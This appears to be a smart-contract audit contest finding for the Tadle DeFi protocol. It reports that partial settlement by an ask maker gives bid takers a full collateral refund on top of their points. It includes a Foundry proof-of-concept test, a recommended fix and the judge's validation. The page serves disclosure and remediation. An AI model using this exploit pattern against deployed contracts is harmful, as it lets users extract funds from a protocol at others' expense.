Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Bid takers receive an excessive amount of refund on a partial settlement

dadekuma

Summary

When an ASK offer maker settles their offer with a partial amount, bid takers receive an excessive amount of collateral refund in addition to their bought points.

Vulnerability Details

  1. Alice creates an ASK offer for 1000 points and 2000 collateral

  2. Bob creates a BID order to buy 400 points, sending 800 as payment

  3. Charlie creates a BID order to buy 200 points, sending 400 as payment

  4. Alice settles 599 points on her offer (instead of 600)

  5. Bob gets 399.33333333... points (instead of 400)

  6. Charlie gets 199.6666666... points (instead of 200)

  7. Bob gets a full refund of 800 even if his points were 99.9% settled (he now has: 399 points AND 800 collateral)

  8. Charlie gets a full refund of 400 even if his points were 99.9% settled (he now has: 399 points AND 400 collateral)

  9. Bob should have received a refund of 1.222222 instead

  10. Charlie should have received a refund of 0.888888 instead

Poc, run forge test --via-ir --match-test test_h11_ask_offer_taker_gets_too_much_refund -vv

function test_h11_ask_offer_taker_gets_too_much_refund() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 charlieInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), charlie, charlieInitialBalance);
vm.prank(charlie);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Ask,
OfferSettleType.Protected
)
);
​
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance - collateralAmount, "alice collateral balance after offer");
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
address stock1Addr = GenerateAddress.generateStockAddress(1);
assertEq(mockUSDCToken.balanceOf(bob), bobInitialBalance - 800 * 1e18 - 4 * 1e18, "bob collateral balance after offer");
vm.stopPrank();
​
// charlie is taker
vm.startPrank(charlie);
uint256 charliePoints = 200;
preMarktes.createTaker(offer0Addr, charliePoints);
address stock2Addr = GenerateAddress.generateStockAddress(2);
assertEq(mockUSDCToken.balanceOf(charlie), charlieInitialBalance - 400 * 1e18 - 2 * 1e18, "charlie collateral balance after offer");
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
deliveryPlace.settleAskMaker(offer0Addr, 599);
​
// note, it's not possible to settle with multiple steps
vm.expectRevert(IPerMarkets.InvalidOfferStatus.selector);
deliveryPlace.settleAskMaker(offer0Addr, 1);
vm.stopPrank();
​
vm.startPrank(bob);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
​
vm.startPrank(charlie);
deliveryPlace.closeBidTaker(stock2Addr);
vm.stopPrank();
// NOTE -> 1 Point = 2 Collateral
uint256 tokenAmount;
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 800 * 1e18, "cash bob"); // bob should have received ~1.222222 * 1e18 instead
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertApproxEqRel(tokenAmount, 400 * 1e18, 1e16, "token bob"); // 399333333333333333333
​
// charlie
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 400 * 1e18, "cash charlie"); // charlie should have received ~0.888888 * 1e18 instead
​
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.PointToken);
assertApproxEqRel(tokenAmount, 200 * 1e18, 1e16, "token charlie"); // 199666666666666666666
} // forge test --via-ir --match-test test_h11_ask_offer_taker_gets_too_much_refund -vv

Impact

Impact: High (Users receive an excessive refund, so they extract value from the protocol)
Likelihood: Medium (Ask makers must settle a partial order)

Risk: High

Tools Used

Manual review

Recommendations

In DeliveryPlace change closeBidTaker so that the refund logic should match a % of the received points instead of the theoretical full amount:

tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
-> userCollateralFee
);

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L188

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-partial-closeBidTaker-userCollateralFee-wrong-partial

Valid High, afaik, partial settlements are a valid flow and so when closing bid offers by takers and/or when settling offers by makers, we should return a proportionate amount of funds based on points settled. This issues could be related to issue #1008, but seems to be describing a different issue.

Appeal created

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-settleAskMaker-partial-settlements

Valid high, in settleAskTaker/settleAskMaker, if the original offer maker performs a partial final settlement, the existing checks [here](https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L356-L358) and [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L230-L232) will cause an revert when attempting to complete a full settlement, resulting in their collateral being locked and requiring a rescue from the admin. To note, although examples in the documentation implies settlement in a single click, it is not stated that partial settlements are not allowed, so I believe it is a valid user flow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.